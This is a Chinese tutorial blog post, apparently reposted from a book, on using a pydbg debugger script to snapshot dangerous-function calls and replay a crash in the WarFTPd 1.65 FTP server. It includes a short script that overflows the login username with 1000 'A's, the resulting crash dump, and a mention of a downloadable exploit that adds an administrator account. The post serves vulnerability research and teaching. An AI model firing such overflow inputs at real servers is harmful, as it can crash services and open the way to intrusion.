pydbg测试实例(四) ftp服务器warftpd-1.65的漏洞测试

转自《python灰帽子》第4章

目标:监控危险函数的每次调用,并摄取快照。若出现非法内存访问,恢复到最近一次危险函数调用点,单步执行,重现非法内存访问。(前面三个例子的综合)

danger_track.py

from pydbg import *
from pydbg.defines import *
import utils

MAX_INST = 10
dangerous_functions = {
    "strcpy": "msvcrt.dll",
    "strncpy": "msvcrt.dll",
    "sprintf": "msvcrt.dll",
    "vsprintf": "msvcrt.dll",
}
dangerous_functions_resolved = {}
crash_encounterd = False
inst_count = 0

def danger_handler(dbg):
    #print the date int the function stack
    esp_offset = 0
    print "[*] Hit %s" % dangerous_functions_resolved[dbg.context.Eip]
    while esp_offset <= 20:
        parameter = dbg.smart_dereference(dbg.context.Esp+esp_offset)
        print "[Esp + %d] => %s" % (esp_offset, parameter)
        esp_offset += 4
    print "=================================="
    dbg.suspend_all_threads()
    dbg.process_snapshot()
    dbg.resume_all_threads()
    return DBG_CONTINUE

def access_violation_handler(dbg):
    global crash_encounterd
    # We skip first-chance exceptions
    if dbg.dbg.u.Exception.dwFirstChance:
        return DBG_EXCEPTION_NOT_HANDLED

    crash_bin = utils.crash_binning.crash_binning()
    crash_bin.record_crash(dbg)
    print crash_bin.crash_synopsis()
    if crash_encounterd == False:
        dbg.suspend_all_threads()
        dbg.process_restore()
        crash_encounterd = True
        #set every thread as single step
        for thread_id in dbg.enumerate_threads():
            print "[*] Setting single step for thread: 0x%08x" % thread_id
            h_thread = dbg.open_thread(thread_id)
            dbg.single_step(True, h_thread)
            dbg.close_handle(h_thread)
        dbg.resume_all_threads()
        return DBG_CONTINUE
    else:
        dbg.terminate_process()
    return DBG_EXCEPTION_NOT_HANDLED

def single_step_handler(dbg):
    global inst_count
    global crash_encounterd
    if crash_encounterd:
        if inst_count == MAX_INST:
            dbg.single_step(False)
            return DBG_CONTINUE
        else:
            #disassemble the next inst
            inst = dbg.disasm(dbg.context.Eip)
            print "#%d\t0x%08x: %s" % (inst_count, dbg.context.Eip, inst)
    return DBG_CONTINUE

pid = raw_input("Enter the Process ID: ")

dbg = pydbg()
dbg.attach(int(pid))
for func in dangerous_functions.keys():
    func_address = dbg.func_resolve(dangerous_functions[func],func)
    print "[*] Resolved breakpoint: %s -> 0x%08x" % (func, func_address)
    dbg.bp_set(func_address, handler=danger_handler) # set breakpoint
    dangerous_functions_resolved[func_address] = func

dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,access_violation_handler)
dbg.set_callback(EXCEPTION_SINGLE_STEP, single_step_handler)
dbg.run()
以ftp服务器warftpd1.65为例子进行测试,该程序存在用户名溢出漏洞,因为没有对登录用户名长度进行检查,通过精心构造用户名,可以导致非法内存访问。 这里给出了利用这个漏洞的方法,在shellcode中实现了添加一个管理权限帐户的功能。

安装并启动该服务器


运行脚本danger_track.py,输入进程pid附加调试器到ftp服务器上

在 控制台里运行下面脚本:python login_ftp.py

login_ftp.py (构造一个长度为1000字符全为'A'的用户名登录ftp服务器)

# -*- coding: cp936 -*-
from ftplib import FTP
    
ftp = FTP()
timeout = 60
port = 21
ftp.connect('127.0.0.1',port,timeout) # 连接FTP服务器
username = 'A'*1000
ftp.login(username,'') # 登录
##print ftp.getwelcome()  # 获得欢迎信息 
##list = ftp.nlst()       # 获得目录列表
##for name in list:
##    print(name)             # 打印文件名字
ftp.quit()                  # 退出FTP服务器
然后调试器脚本就会输出下面的崩溃信息:

……

#0 0x77c0f933: push ebp
[INVALID]:41414141 Unable to disassemble at 41414141 from thread 1352 caused access violation
when attempting to read from 0x41414141
CONTEXT DUMP
  EIP: 41414141 Unable to disassemble at 41414141
  EAX: 00000000 (         0) -> N/A
  EBX: 00000000 (         0) -> N/A
  ECX: 41414141 (1094795585) -> N/A
  EDX: 7c9237d8 (2089957336) -> N/A
  EDI: 00000000 (         0) -> N/A
  ESI: 00000000 (         0) -> N/A
  EBP: 00f0ce68 (  15781480) -> 7|0LAAAA0`x|0LAAAA0,]\|GHm|xHxxGs#|Hx8|L0LAAAAAAAA? (heap)
  ESP: 00f0ce48 (  15781448) -> 7|0L,7|7|0LAAAA0`x|0LAAAA0,]\|GHm|xHxxGs#|Hx8|L0LAAAA (heap)
  +00: 7c9237bf (2089957311) -> N/A
  +04: 00f0cf30 (  15781680) -> AAAAAAAA?@y&Z(ppppeH8x???;##7|AAAA8AAAAF#@y&Z( (heap)
  +08: 00f0fda4 (  15793572) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
  +0c: 00f0cf4c (  15781708) -> ?@y&Z(ppppeH8x???;##7|AAAA8AAAAF#@y&Z(pppp (heap)
  +10: 00f0cf04 (  15781636) -> 8|L0LAAAAAAAA?@y&Z(ppppeH8x???;##7|AAAA8 (heap)
  +14: 00f0d22c (  15782444) -> 7|7|AAAA`x|AAAA|AAAAAAAA? (stack)
disasm around:
0x41414141 Unable to disassemble

SEH unwind:
00f0d22c -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0d5fc -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0d9cc -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0dd9c -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0e16c -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0e53c -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0e90c -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0ecdc -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0f0ac -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0f6cc -> ntdll.dll:7c9237d8 mov ecx,[esp+0x4]
00f0fa88 -> ntdll.dll:7c92ee18 push ebp
00f0fda4 -> USER32.dll:77d40494 push ebp
41414141 -> [INVALID]:41414141 Unable to disassemble at 41414141
ffffffff -> [INVALID]:ffffffff Unable to disassemble at ffffffff

包括warftp-1.65、python脚本和漏洞利用程序的打包下载


评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值